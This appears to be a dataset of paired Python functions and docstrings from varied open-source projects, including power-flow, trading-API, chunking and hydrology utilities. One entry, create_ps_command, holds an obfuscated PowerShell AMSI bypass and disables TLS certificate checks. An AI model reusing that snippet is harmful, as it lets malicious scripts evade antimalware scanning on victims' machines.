code
stringlengths
75
104k
docstring
stringlengths
1
46.9k
def pf_solution(self, Ybus, Yf, Yt, V): """ Based on pfsoln.m from MATPOWER by Ray Zimmerman, developed at PSERC Cornell. See U{http://www.pserc.cornell.edu/matpower/} for more information. Updates buses, generators and branches to match a power flow solution. """ buses ...
Based on pfsoln.m from MATPOWER by Ray Zimmerman, developed at PSERC Cornell. See U{http://www.pserc.cornell.edu/matpower/} for more information. Updates buses, generators and branches to match a power flow solution.
def _example_stock_quote(quote_ctx): """ 获取批量报价,输出 股票名称,时间,当前价,开盘价,最高价,最低价,昨天收盘价,成交量,成交额,换手率,振幅,股票状态 """ stock_code_list = ["US.AAPL", "HK.00700"] # subscribe "QUOTE" ret_status, ret_data = quote_ctx.subscribe(stock_code_list, ft.SubType.QUOTE) if ret_status != ft.RET_OK: print("%s ...
获取批量报价,输出 股票名称,时间,当前价,开盘价,最高价,最低价,昨天收盘价,成交量,成交额,换手率,振幅,股票状态
def _build_strain_specific_model(self, strain_id, ref_functional_genes, orth_matrix, force_rerun=False): """Create strain GEMPRO, set functional genes""" gp_noseqs_path = op.join(self.model_dir, '{}_gp.pckl'.format(strain_id)) if ssbio.utils.force_rerun(flag=force_rerun, outfile=gp_noseqs_path)...
Create strain GEMPRO, set functional genes
def load_actor_class(self, driver_id, function_descriptor): """Load the actor class. Args: driver_id: Driver ID of the actor. function_descriptor: Function descriptor of the actor constructor. Returns: The actor class. """ function_id = funct...
Load the actor class. Args: driver_id: Driver ID of the actor. function_descriptor: Function descriptor of the actor constructor. Returns: The actor class.
def new(cls, package, slide_part): """ Create and return a new notes slide part based on the notes master and related to both the notes master part and *slide_part*. If no notes master is present, create one based on the default template. """ notes_master_part = package.p...
Create and return a new notes slide part based on the notes master and related to both the notes master part and *slide_part*. If no notes master is present, create one based on the default template.
def put(self, username, email=None, full_name=None, password=None, status=None, auth_level=None, user_id=None): """ :param username: str of the username give my the player :param email: str of the user's email address :param full_name: str of the full name :param password...
:param username: str of the username give my the player :param email: str of the user's email address :param full_name: str of the full name :param password: str of the encrypted password :param status: str of the enum status ['Active', 'Suspended'] :param auth_leve...
def bytes2human(n, format="%(value).1f%(symbol)s"): """ >>> bytes2human(10000) '9K' >>> bytes2human(100001221) '95M' """ symbols = ('B', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y') prefix = {} for i, s in enumerate(symbols[1:]): prefix[s] = 1 << (i + 1) * 10 for symbol in rev...
>>> bytes2human(10000) '9K' >>> bytes2human(100001221) '95M'
def set_one(chainmap, thing_name, callobject): """ Add a mapping with key thing_name for callobject in chainmap with namespace handling. """ namespaces = reversed(thing_name.split(".")) lstname = [] for name in namespaces: lstname.insert(0, name) strname = '.'.join(lstname) ...
Add a mapping with key thing_name for callobject in chainmap with namespace handling.
def add_accent_char(char, accent): """ Add accent to a single char. Parameter accent is member of class Accent """ if char == "": return "" case = char.isupper() char = char.lower() index = utils.VOWELS.find(char) if (index != -1): index = index - index % 6 + 5 ...
Add accent to a single char. Parameter accent is member of class Accent
def isothermal_gas(rho, fd, P1=None, P2=None, L=None, D=None, m=None): # pragma: no cover ''' >>> isothermal_gas(rho=11.3*u.kg/u.m**3, fd=0.00185*u.dimensionless, P1=1E6*u.Pa, P2=9E5*u.Pa, L=1000*u.m, D=0.5*u.m) <Quantity(145.484757264, 'kilogram / second')> ''' ans = wrapped_isothermal_gas(rho, fd,...
>>> isothermal_gas(rho=11.3*u.kg/u.m**3, fd=0.00185*u.dimensionless, P1=1E6*u.Pa, P2=9E5*u.Pa, L=1000*u.m, D=0.5*u.m) <Quantity(145.484757264, 'kilogram / second')>
def wait(objects, count=None, timeout=None): """Wait for one or more waitable objects. This method waits until *count* elements from the sequence of waitable objects *objects* have become ready. If *count* is ``None`` (the default), then wait for all objects to become ready. What "ready" is means ...
Wait for one or more waitable objects. This method waits until *count* elements from the sequence of waitable objects *objects* have become ready. If *count* is ``None`` (the default), then wait for all objects to become ready. What "ready" is means depends on the object type. A waitable object is a ...
def _tmgr(self, uid, rmgr, logger, mq_hostname, port, pending_queue, completed_queue): """ **Purpose**: Method to be run by the tmgr process. This method receives a Task from the pending_queue and submits it to the RTS. Currently, it also converts Tasks into CUDs and CUs into (partially describe...
**Purpose**: Method to be run by the tmgr process. This method receives a Task from the pending_queue and submits it to the RTS. Currently, it also converts Tasks into CUDs and CUs into (partially described) Tasks. This conversion is necessary since the current RTS is RADICAL Pilot. Once Tasks are recov...
def GetParserProp(self, prop): """Read the parser internal property. """ ret = libxml2mod.xmlTextReaderGetParserProp(self._o, prop) return ret
Read the parser internal property.
def trunk_origin_azimuths(nrn, neurite_type=NeuriteType.all): '''Get a list of all the trunk origin azimuths of a neuron or population The azimuth is defined as Angle between x-axis and the vector defined by (initial tree point - soma center) on the x-z plane. The range of the azimuth angle [-pi, pi] ...
Get a list of all the trunk origin azimuths of a neuron or population The azimuth is defined as Angle between x-axis and the vector defined by (initial tree point - soma center) on the x-z plane. The range of the azimuth angle [-pi, pi] radians
def cdf(x, df, loc=0.0, scale=1.0, gamma = 1.0): """ CDF function for Skew t distribution """ result = np.zeros(x.shape[0]) result[x<0] = 2.0/(np.power(gamma,2) + 1.0)*ss.t.cdf(gamma*(x[x-loc < 0]-loc[x-loc < 0])/scale, df=df) result[x>=0] = 1.0/(np.power(gamma,2) + 1.0) ...
CDF function for Skew t distribution
def _disable_module(module): """Disables the specified module in Apache.""" try: subprocess.check_call(['a2dismod', module]) except subprocess.CalledProcessError as e: # Note: catch error here to allow the attempt of disabling # multiple modules in one go rath...
Disables the specified module in Apache.
def fisher_vector_product(self, vector, kl_divergence_gradient, model): """ Calculate product Hessian @ vector """ assert not vector.requires_grad, "Vector must not propagate gradient" dot_product = vector @ kl_divergence_gradient # at least one dimension spans across two contiguous sub...
Calculate product Hessian @ vector
def on_api_socket_reconnected(self): """for API socket reconnected""" self.__is_acc_sub_push = False self.__last_acc_list = [] ret, msg = RET_OK, '' # auto unlock trade if self._ctx_unlock is not None: password, password_md5 = self._ctx_unlock ret...
for API socket reconnected
def main(argv): """Validate a model's performance on a set of holdout data.""" _, *validation_paths = argv if FLAGS.expand_validation_dirs: tf_records = [] with utils.logged_timer("Building lists of holdout files"): for record_dir in validation_paths: tf_records.e...
Validate a model's performance on a set of holdout data.
def get_schemaloc_pairs(node): """Parses the xsi:schemaLocation attribute on `node`. Returns: A list of (ns, schemaLocation) tuples for the node. Raises: KeyError: If `node` does not have an xsi:schemaLocation attribute. """ schemalocs = node.attrib[TAG_SCHEMALOCATION] l = sch...
Parses the xsi:schemaLocation attribute on `node`. Returns: A list of (ns, schemaLocation) tuples for the node. Raises: KeyError: If `node` does not have an xsi:schemaLocation attribute.
def load_config(self, name=None, path=None, home=False, ext='ini'): """Return the full path to a configuration file. This will look for configuration files in the ``full_path``, in the users home folder, or in a config directory in "/etc". If you set `home=True`, the system will look f...
Return the full path to a configuration file. This will look for configuration files in the ``full_path``, in the users home folder, or in a config directory in "/etc". If you set `home=True`, the system will look for a "hidden" configuration file in the executing users $HOME folder. ...
def make_1D_gauss(n, m, s): """return a 1D histogram for a gaussian distribution (n bins, mean m and std s) Parameters ---------- n : int number of bins in the histogram m : float mean value of the gaussian distribution s : float standard deviaton of the gaussian distri...
return a 1D histogram for a gaussian distribution (n bins, mean m and std s) Parameters ---------- n : int number of bins in the histogram m : float mean value of the gaussian distribution s : float standard deviaton of the gaussian distribution Returns ------- ...
def update_safe(filename: str, **kw: Any) -> Generator[IO, None, None]: """Rewrite a file atomically. Clients are allowed to delete the tmpfile to signal that they don't want to have it updated. """ with tempfile.NamedTemporaryFile( dir=os.path.dirname(filename), delete=False, ...
Rewrite a file atomically. Clients are allowed to delete the tmpfile to signal that they don't want to have it updated.
def fstyle_changed(self, settings, key, user_data): """If the gconf var style/font/style be changed, this method will be called and will change the font style in all terminals open. """ font = Pango.FontDescription(settings.get_string(key)) for i in self.guake.notebook_ma...
If the gconf var style/font/style be changed, this method will be called and will change the font style in all terminals open.
def delete(gandi, email, force): """Delete a mailbox.""" login, domain = email if not force: proceed = click.confirm('Are you sure to delete the ' 'mailbox %s@%s ?' % (login, domain)) if not proceed: return result = gandi.mail.delete(domain,...
Delete a mailbox.
def json_charts(self, req): """ Return charting data. """ disk_used, disk_total, disk_detail = 0, 0, [] for disk_usage_path in self.cfg.disk_usage_path.split(os.pathsep): disk_usage = self.guarded(psutil.disk_usage, os.path.expanduser(disk_usage_path.strip())) if ...
Return charting data.
def parent_directory(self): """Change working directory to parent directory""" self.chdir(os.path.join(getcwd_or_home(), os.path.pardir))
Change working directory to parent directory
def get_tensor(self, name): """ Get a tensor in this tower. The name can be: 1. The name of the tensor without any tower prefix. 2. A name in the input signature, if it is used when building the tower. In the second case, this method will return the tensor that's used as the c...
Get a tensor in this tower. The name can be: 1. The name of the tensor without any tower prefix. 2. A name in the input signature, if it is used when building the tower. In the second case, this method will return the tensor that's used as the corresponding input to the tower. Note th...
def find_all(self, *queries): """ Find all results matching the query anywhere in the configuration. Returns an empty `SearchResult` if no results are found. """ return self.select(*queries, deep=True, roots=False)
Find all results matching the query anywhere in the configuration. Returns an empty `SearchResult` if no results are found.
def instruction_INC_memory(self, opcode, ea, m): """ Adds to the register. The carry bit is not affected, thus allowing this instruction to be used as a loop counter in multiple-precision computations. When operating on unsigned values, only the BEQ and BNE branches can be expect...
Adds to the register. The carry bit is not affected, thus allowing this instruction to be used as a loop counter in multiple-precision computations. When operating on unsigned values, only the BEQ and BNE branches can be expected to behave consistently. When operating on twos complement ...
def invoke_function(self, function_name, **function_params): """ Invokes an Excel Function """ url = self.build_url(self._endpoints.get('function').format(function_name)) response = self.session.post(url, data=function_params) if not response: return None data = respo...
Invokes an Excel Function
def _serialise_posts_and_tags_from_joined_rows(cls, joined_rows): """ Translates multiple rows of joined post and tag information into the dictionary format expected by flask-blogging. There will be one row per post/tag pairing. """ posts_by_id = OrderedDict() tag...
Translates multiple rows of joined post and tag information into the dictionary format expected by flask-blogging. There will be one row per post/tag pairing.
def get_annotations( cls, target, exclude=None, ctx=None, select=lambda *p: True, mindepth=0, maxdepth=0, followannotated=True, public=True, _history=None ): """Returns all input target annotations of cls type sorted by definition order. :para...
Returns all input target annotations of cls type sorted by definition order. :param type cls: type of annotation to get from target. :param target: target from where get annotations. :param tuple/type exclude: annotation types to remove from selection. :param ctx: target ctx. ...
def process_op(self, op, coro): "Process a (op, coro) pair and return another pair. Handles exceptions." if op is None: if self.active: self.active.append((op, coro)) else: return op, coro else: try: res...
Process a (op, coro) pair and return another pair. Handles exceptions.
def bsfile(self, path): """Return a Build Source file ref, creating a new one if the one requested does not exist""" from sqlalchemy.orm.exc import NoResultFound from ambry.orm.exc import NotFoundError try: f = object_session(self)\ .query(File)\ ...
Return a Build Source file ref, creating a new one if the one requested does not exist
def actors(self, actors): """ Sets the sub-actors of the actor. :param actors: the sub-actors :type actors: list """ if actors is None: actors = self.default_actors() self.check_actors(actors) self.config["actors"] = actors
Sets the sub-actors of the actor. :param actors: the sub-actors :type actors: list
def convert_sequence(seq, to_material): '''Translate a DNA sequence into peptide sequence. The following conversions are supported: Transcription (seq is DNA, to_material is 'rna') Reverse transcription (seq is RNA, to_material is 'dna') Translation (seq is RNA, to_material is 'peptide'...
Translate a DNA sequence into peptide sequence. The following conversions are supported: Transcription (seq is DNA, to_material is 'rna') Reverse transcription (seq is RNA, to_material is 'dna') Translation (seq is RNA, to_material is 'peptide') :param seq: DNA or RNA sequence. :ty...
def simxTransferFile(clientID, filePathAndName, fileName_serverSide, timeOut, operationMode): ''' Please have a look at the function description/documentation in the V-REP user manual ''' if (sys.version_info[0] == 3) and (type(filePathAndName) is str): filePathAndName=filePathAndName.encode('u...
Please have a look at the function description/documentation in the V-REP user manual
def _get_pages_with_headings(self, pages: Dict) -> Dict: '''Update ``pages`` section of ``mkdocs.yml`` file with the content of top-level headings of source Markdown files. param pages: Dictionary with the data of ``pages`` section returns: Updated dictionary ''' def _...
Update ``pages`` section of ``mkdocs.yml`` file with the content of top-level headings of source Markdown files. param pages: Dictionary with the data of ``pages`` section returns: Updated dictionary
def nonfirst_authors(self, key, value): """Populate ``700`` MARC field. Also populates the ``701`` MARC field through side-effects. """ field_700 = self.get('700__', []) field_701 = self.get('701__', []) is_supervisor = any(el.lower().startswith('dir') for el in force_list(value.get('e', '')))...
Populate ``700`` MARC field. Also populates the ``701`` MARC field through side-effects.
def digest_secure_bootloader(args): """ Calculate the digest of a bootloader image, in the same way the hardware secure boot engine would do so. Can be used with a pre-loaded key to update a secure bootloader. """ if args.iv is not None: print("WARNING: --iv argument is for TESTING PURPOSES ONLY...
Calculate the digest of a bootloader image, in the same way the hardware secure boot engine would do so. Can be used with a pre-loaded key to update a secure bootloader.
def get_siblings(self): """Get a list of sibling accounts associated with provided account.""" method = 'GET' endpoint = '/rest/v1.1/users/{}/siblings'.format( self.client.sauce_username) return self.client.request(method, endpoint)
Get a list of sibling accounts associated with provided account.
def destroy(name, call=None): ''' destroy a machine by name :param name: name given to the machine :param call: call value in this case is 'action' :return: array of booleans , true if successfully stopped and true if successfully removed CLI Example: .. code-block:: bash ...
destroy a machine by name :param name: name given to the machine :param call: call value in this case is 'action' :return: array of booleans , true if successfully stopped and true if successfully removed CLI Example: .. code-block:: bash salt-cloud -d vm_name
def as_backfill_cron_app(cls): """a class decorator for Crontabber Apps. This decorator embues a CronApp with the parts necessary to be a backfill CronApp. It adds a main method that forces the base class to use a value of False for 'once'. That means it will do the work of a backfilling app. """...
a class decorator for Crontabber Apps. This decorator embues a CronApp with the parts necessary to be a backfill CronApp. It adds a main method that forces the base class to use a value of False for 'once'. That means it will do the work of a backfilling app.
def python_2_unicode_compatible(klass): """Fix __str__, __unicode__ and __repr__ methods under Python 2.""" if six.PY2: if '__str__' not in klass.__dict__: raise ValueError("Define __str__() on %s to use @python_2_unicode_compatible" % klass.__name__) if '__repr__' not in klass.__dic...
Fix __str__, __unicode__ and __repr__ methods under Python 2.
def main(*args): r"""Bootstrap Python projects and libraries with virtualenv and pip. Also check system requirements before bootstrap and run post bootstrap hook if any. :param \*args: Command line arguments list. """ # Create parser, read arguments from direct input or command line with d...
r"""Bootstrap Python projects and libraries with virtualenv and pip. Also check system requirements before bootstrap and run post bootstrap hook if any. :param \*args: Command line arguments list.
def add_selector(name): """ Builds and registers a :class:`Selector` object with the given name and configuration. Args: name (str): The name of the selector. Yields: SelectorFactory: The factory that will build the :class:`Selector`. """ factory = SelectorFactory(name) yi...
Builds and registers a :class:`Selector` object with the given name and configuration. Args: name (str): The name of the selector. Yields: SelectorFactory: The factory that will build the :class:`Selector`.
def mtx_rot(ax, theta, reps=1): """ Generate block-diagonal rotation matrix about ax. [copy handedness from somewhere] .. todo:: Complete mtx_rot docstring """ # Imports import numpy as np from scipy import linalg as spla from ..const import PRM # Ensure |ax| is large enough for...
Generate block-diagonal rotation matrix about ax. [copy handedness from somewhere] .. todo:: Complete mtx_rot docstring
def execute(query, auth=None, client=urllib_request.build_opener()): """Execute a query, returning its result Parameters ---------- query: Query[T] The query to resolve auth: ~typing.Tuple[str, str] \ or ~typing.Callable[[Request], Request] or None This may be: * A ...
Execute a query, returning its result Parameters ---------- query: Query[T] The query to resolve auth: ~typing.Tuple[str, str] \ or ~typing.Callable[[Request], Request] or None This may be: * A (username, password)-tuple for basic authentication * A callable to ...
def tags(norm): ''' Divide a normalized tag string into hierarchical layers. ''' # this is ugly for speed.... parts = norm.split('.') return ['.'.join(parts[:i]) for i in range(1, len(parts) + 1)]
Divide a normalized tag string into hierarchical layers.
def config_value_keys(self, sortkey = False): """ Return all mapped configuration keys for this object """ ret = set() cls = type(self) while True: root = cls.getConfigRoot() if root: ret = ret.union(set(root.config_value_keys())) ...
Return all mapped configuration keys for this object
def dispatch(self, *args, **kwargs): """This decorator sets this view to have restricted permissions.""" return super(StrainCreate, self).dispatch(*args, **kwargs)
This decorator sets this view to have restricted permissions.
def user_follows(uid, offset='0', limit=30): """获取用户关注列表 :param uid: 用户的ID,可通过登录或者其他接口获取 :param offset: (optional) 分段起始位置,默认 0 :param limit: (optional) 数据上限多少行,默认 30 """ if uid is None: raise ParamsError() r = NCloudBot() r.method = 'USER_FOLLOWS' r.params = {'uid': uid} ...
获取用户关注列表 :param uid: 用户的ID,可通过登录或者其他接口获取 :param offset: (optional) 分段起始位置,默认 0 :param limit: (optional) 数据上限多少行,默认 30
def text(path, operation, content): """ Perform changes on text files :type path: string :param path: The path to perform the action on :type operation: string :param operation: The operation to use on the file :type content: string :param content: The content to use with the operatio...
Perform changes on text files :type path: string :param path: The path to perform the action on :type operation: string :param operation: The operation to use on the file :type content: string :param content: The content to use with the operation
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
if is_powershell_installed(): temp = tempfile.NamedTemporaryFile(prefix='cme_', suffix='.ps1', dir='/tmp') temp.write(command) temp.read() encoding_types = [1,2,3,4,5,6] while True: ...
def _set_static_mac(self, v, load=False): """ Setter method for static_mac, mapped from YANG variable /mac_address_table/static/static_mac (list) If this variable is read-only (config: false) in the source YANG file, then _set_static_mac is considered as a private method. Backends looking to populat...
Setter method for static_mac, mapped from YANG variable /mac_address_table/static/static_mac (list) If this variable is read-only (config: false) in the source YANG file, then _set_static_mac is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._...
def get_source_and_pgp_key(source_and_key): """Look for a pgp key ID or ascii-armor key in the given input. :param source_and_key: Sting, "source_spec|keyid" where '|keyid' is optional. :returns (source_spec, key_id OR None) as a tuple. Returns None for key_id if there was no '|' in the so...
Look for a pgp key ID or ascii-armor key in the given input. :param source_and_key: Sting, "source_spec|keyid" where '|keyid' is optional. :returns (source_spec, key_id OR None) as a tuple. Returns None for key_id if there was no '|' in the source_and_key string.
def get_asset_id(cls, transactions): """Get the asset id from a list of :class:`~.Transactions`. This is useful when we want to check if the multiple inputs of a transaction are related to the same asset id. Args: transactions (:obj:`list` of :class:`~bigchaindb.common. ...
Get the asset id from a list of :class:`~.Transactions`. This is useful when we want to check if the multiple inputs of a transaction are related to the same asset id. Args: transactions (:obj:`list` of :class:`~bigchaindb.common. transaction.Transaction`): A list o...
def flatten(nested_dict, separator="_", root_keys_to_ignore=set()): """ Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing This is specially true for very deep objects :param n...
Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing This is specially true for very deep objects :param nested_dict: dictionary we want to flatten :param separator: string to separa...
def _get_verbosity(parsed_arguments: Dict) -> int: """ Gets the verbosity level from the parsed arguments. :param parsed_arguments: the parsed arguments :return: the verbosity level implied """ verbosity = DEFAULT_LOG_VERBOSITY - (int(parsed_arguments[VERBOSE_SHORT_PARAMETER]) * 10) if verbo...
Gets the verbosity level from the parsed arguments. :param parsed_arguments: the parsed arguments :return: the verbosity level implied
def convert_code(in_file, out_file, in_alg='taudem', out_alg='arcgis', datatype=None): """ convert D8 flow direction code from one algorithm to another. Args: in_file: input raster file path out_file: output raster file path in_alg: available algorithms are in...
convert D8 flow direction code from one algorithm to another. Args: in_file: input raster file path out_file: output raster file path in_alg: available algorithms are in FlowModelConst.d8_dirs. "taudem" is the default out_alg: same as in_alg. "arcgis" is the defau...
def emailUser(video, error=None): """Emails the author of the video that it has finished processing""" html = render_to_string('frog/video_email.html', { 'user': video.author, 'error': error, 'video': video, 'SITE_URL': FROG_SITE_URL, }) subject, from_email, to = 'Video P...
Emails the author of the video that it has finished processing
def _is_really_comment(tokens, index): """Return true if the token at index is really a comment.""" if tokens[index].type == TokenType.Comment: return True # Really a comment in disguise! try: if tokens[index].content.lstrip()[0] == "#": return True except IndexError: ...
Return true if the token at index is really a comment.
def make_region(self) -> CacheRegion: """ Returns a :class:`CacheRegion <dogpile.cache.region.CacheRegion>` based on settings. * Firstly, a backend is selected. The default is :class:`NullBackend <dogpile.cache.backends.null.NullBackend`. * Secondly, arguments for the backends...
Returns a :class:`CacheRegion <dogpile.cache.region.CacheRegion>` based on settings. * Firstly, a backend is selected. The default is :class:`NullBackend <dogpile.cache.backends.null.NullBackend`. * Secondly, arguments for the backends are generated. The arguments can be passed as a...
def make_chunk(chunk_type, chunk_data): """Create a raw chunk by composing chunk type and data. It calculates chunk length and CRC for you. :arg str chunk_type: PNG chunk type. :arg bytes chunk_data: PNG chunk data, **excluding chunk length, type, and CRC**. :rtype: bytes """ out = struct.pack("!I", len(chunk_d...
Create a raw chunk by composing chunk type and data. It calculates chunk length and CRC for you. :arg str chunk_type: PNG chunk type. :arg bytes chunk_data: PNG chunk data, **excluding chunk length, type, and CRC**. :rtype: bytes
def publish(self, event_type, events): """Publish events.""" assert event_type in self.events current_queues.queues['stats-{}'.format(event_type)].publish(events)
Publish events.
def verify(self, token, verifying_key_or_keys, num_required=None): """ Verify a compact-formated JWT or a JSON-formatted JWT signed by multiple keys. Return True if valid Return False if not valid TODO: support multiple types of keys """ if not isinstance(verifyi...
Verify a compact-formated JWT or a JSON-formatted JWT signed by multiple keys. Return True if valid Return False if not valid TODO: support multiple types of keys
def list(self, orgId=None, **request_parameters): """List all licenses for a given organization. If no orgId is specified, the default is the organization of the authenticated user. Args: orgId(basestring): Specify the organization, by ID. **request_parameters: ...
List all licenses for a given organization. If no orgId is specified, the default is the organization of the authenticated user. Args: orgId(basestring): Specify the organization, by ID. **request_parameters: Additional request parameters (provides suppo...
def is_file(jottapath, JFS): """Check if a file exists on jottacloud""" log.debug("is_file %r", jottapath) try: jf = JFS.getObject(jottapath) except JFSNotFoundError: return False return isinstance(jf, JFSFile)
Check if a file exists on jottacloud
def _find_context_dependent_names(self): """Finds texts whose translation depends on context. Example. Here the word "Palacio" is translated from Spanish to English in multiple ways. Feed language is es (Spanish). trans_id,lang,translation stop-name-1,es,Palacio...
Finds texts whose translation depends on context. Example. Here the word "Palacio" is translated from Spanish to English in multiple ways. Feed language is es (Spanish). trans_id,lang,translation stop-name-1,es,Palacio stop-name-1,en,Palace headsign-...
def enable_capture_state(self, state, writeToHw=False): """ Enable/Disable capture on resource group """ if state: activePorts = self.rePortInList.findall(self.activePortList) self.activeCapturePortList = "{{" + activePorts[0] + "}}" else: self...
Enable/Disable capture on resource group
def get_dependencies(requirement, sources): """Get all dependencies for a given install requirement. :param requirement: A requirement :param sources: Pipfile-formatted sources :type sources: list[dict] """ getters = [ _get_dependencies_from_cache, _cached(_get_dependencies_from...
Get all dependencies for a given install requirement. :param requirement: A requirement :param sources: Pipfile-formatted sources :type sources: list[dict]
def get_interface_detail_output_interface_ifHCInErrors(self, **kwargs): """Auto Generated Code """ config = ET.Element("config") get_interface_detail = ET.Element("get_interface_detail") config = get_interface_detail output = ET.SubElement(get_interface_detail, "output") ...
Auto Generated Code
def get_detection_results(url, timeout, metadata=False, save_har=False): """ Return results from detector. This function prepares the environment loading the plugins, getting the response and passing it to the detector. In case of errors, it raises exceptions to be handled externally. """ plu...
Return results from detector. This function prepares the environment loading the plugins, getting the response and passing it to the detector. In case of errors, it raises exceptions to be handled externally.
def ask_bool(question: str, default: bool = True) -> bool: """Asks a question yes no style""" default_q = "Y/n" if default else "y/N" answer = input("{0} [{1}]: ".format(question, default_q)) lower = answer.lower() if not lower: return default return lower == "y"
Asks a question yes no style
def zoom(self, factor, order=1, verbose=True): """Zoom the data array using spline interpolation of the requested order. The number of points along each axis is increased by factor. See `scipy ndimage`__ for more info. __ http://docs.scipy.org/doc/scipy/reference/ g...
Zoom the data array using spline interpolation of the requested order. The number of points along each axis is increased by factor. See `scipy ndimage`__ for more info. __ http://docs.scipy.org/doc/scipy/reference/ generated/scipy.ndimage.interpolation.zoom.html Pa...
def trsm(self,B,trans='N'): r""" Solves a triangular system of equations with multiple righthand sides. Computes .. math:: B &:= L^{-1} B \text{ if trans is 'N'} B &:= L^{-T} B \text{ if trans is 'T'} """ if trans=='N': cp...
r""" Solves a triangular system of equations with multiple righthand sides. Computes .. math:: B &:= L^{-1} B \text{ if trans is 'N'} B &:= L^{-T} B \text{ if trans is 'T'}
def _from_bytes(bytes): """Takes a list of bytes, computes the checksum, and outputs the entire record as a string. bytes should be the hex record without the colon or final checksum. @param bytes list of byte values so far to pack into record. @return String represen...
Takes a list of bytes, computes the checksum, and outputs the entire record as a string. bytes should be the hex record without the colon or final checksum. @param bytes list of byte values so far to pack into record. @return String representation of one HEX record
def ancestors(self, node): """ Returns a :class:`QuerySet` of all ancestors of a given :class:`CTENode` `node`. :param node: A :class:`CTENode` whose ancestors are required. :returns: A :class:`QuerySet` of all ancestors of the given `node`. """ # We need to...
Returns a :class:`QuerySet` of all ancestors of a given :class:`CTENode` `node`. :param node: A :class:`CTENode` whose ancestors are required. :returns: A :class:`QuerySet` of all ancestors of the given `node`.
def add_next_interval_histogram(self, dest_histogram=None, range_start_time_sec=0.0, range_end_time_sec=sys.maxsize, absolute=False): '''Read the next interval histogra...
Read the next interval histogram from the log, if interval falls within an absolute or relative time range, and add it to the destination histogram (or to the reference histogram if dest_histogram is None) Timestamps are assumed to appear in order in the log file, and as such this metho...
def fit_transform(self, *args, **kwargs): """Performs fit followed by transform. This method simply combines fit and transform. Args: args: positional arguments (can be anything) kwargs: keyword arguments (can be anything) Returns: dict: output ...
Performs fit followed by transform. This method simply combines fit and transform. Args: args: positional arguments (can be anything) kwargs: keyword arguments (can be anything) Returns: dict: output
async def authenticate_token(auth_header: str, credentials: CredentialProvider, channel_id: str) -> ClaimsIdentity: """ Validate the incoming Auth Header Validate the incoming Auth Header as a token sent from the Bot Framework Service. A token issued by the Bot Framework emulator will FAIL this...
Validate the incoming Auth Header Validate the incoming Auth Header as a token sent from the Bot Framework Service. A token issued by the Bot Framework emulator will FAIL this check. :param auth_header: The raw HTTP header in the format: 'Bearer [longString]' :type auth_header: str ...
def outdent(value): """ remove common whitespace prefix from lines :param value: :return: """ try: num = 100 lines = toString(value).splitlines() for l in lines: trim = len(l.lstrip()) if trim > 0: num = min(num, len(l) - len(l.lstr...
remove common whitespace prefix from lines :param value: :return:
def aread8(np, flowdir, acc, outlet=None, streamskeleton=None, edgecontaimination=False, workingdir=None, mpiexedir=None, exedir=None, log_file=None, runtime_file=None, hostfile=None): """Run Accumulate area according to D8 flow direction""" # -nc means do not consider edge...
Run Accumulate area according to D8 flow direction
def get_abi_alignment(self, target_data, context=None): """ Get the minimum ABI alignment of this type according to data layout *target_data*. """ llty = self._get_ll_pointer_type(target_data, context) return target_data.get_pointee_abi_alignment(llty)
Get the minimum ABI alignment of this type according to data layout *target_data*.
def find_includes(filename): """ Find user includes (no system includes) requested from given source file. All .h files will be given relative to the current folder, e.g. ["c/rowindex.h", "c/column.h"]. """ includes = [] with open(filename, "r", encoding="utf-8") as inp: for line in...
Find user includes (no system includes) requested from given source file. All .h files will be given relative to the current folder, e.g. ["c/rowindex.h", "c/column.h"].
def teardown_callsite(self, state, return_val=None, arg_types=None, force_callee_cleanup=False): """ This function performs the actions of the callee as it's getting ready to return. It returns the address to return to. :param state: The state to mutate :param ...
This function performs the actions of the callee as it's getting ready to return. It returns the address to return to. :param state: The state to mutate :param return_val: The value to return :param arg_types: The fp-ness of each of the args....
def expectation_payload(prep_prog, operator_programs, random_seed): """REST payload for :py:func:`ForestConnection._expectation`""" if operator_programs is None: operator_programs = [Program()] if not isinstance(prep_prog, Program): raise TypeError("prep_prog variable must be a Quil program...
REST payload for :py:func:`ForestConnection._expectation`
def _state_removal_solve(self): """The State Removal Operation""" initial = sorted( self.mma.states, key=attrgetter('initial'), reverse=True)[0].stateid for state_k in self.mma.states: if state_k.final: continue if state...
The State Removal Operation
def load_writer_configs(writer_configs, ppp_config_dir, **writer_kwargs): """Load the writer from the provided `writer_configs`.""" try: writer_info = read_writer_config(writer_configs) writer_class = writer_info['writer'] except (ValueError, KeyError, yaml.YAMLError)...
Load the writer from the provided `writer_configs`.
def _data_channel_close(self, channel, transmit=True): """ Request closing the datachannel by sending an Outgoing Stream Reset Request. """ if channel.readyState not in ['closing', 'closed']: channel._setReadyState('closing') self._reconfig_queue.append(channel.id...
Request closing the datachannel by sending an Outgoing Stream Reset Request.
def grid(self, dimensions=None, **kwargs): """ Groups data by supplied dimension(s) laying the groups along the dimension(s) out in a GridSpace. Args: dimensions: Dimension/str or list Dimension or list of dimensions to group by Returns: grid: GridSp...
Groups data by supplied dimension(s) laying the groups along the dimension(s) out in a GridSpace. Args: dimensions: Dimension/str or list Dimension or list of dimensions to group by Returns: grid: GridSpace GridSpace with supplied dimensions
def on_master_missing(self): ''' Tries to spawn a master agency if the slave agency failed to connect for several times. To avoid several slave agencies spawning the master agency a file lock is used ''' self.info("We could not contact the master agency, starting a new on...
Tries to spawn a master agency if the slave agency failed to connect for several times. To avoid several slave agencies spawning the master agency a file lock is used
def cwd_filt2(depth): """Return the last depth elements of the current working directory. $HOME is always replaced with '~'. If depth==0, the full path is returned.""" full_cwd = os.getcwdu() cwd = full_cwd.replace(HOME,"~").split(os.sep) if '~' in cwd and len(cwd) == depth+1: depth +=...
Return the last depth elements of the current working directory. $HOME is always replaced with '~'. If depth==0, the full path is returned.
def validCtxtNormalizeAttributeValue(self, ctxt, elem, name, value): """Does the validation related extra step of the normalization of attribute values: If the declared value is not CDATA, then the XML processor must further process the normalized attribute value by discarding any...
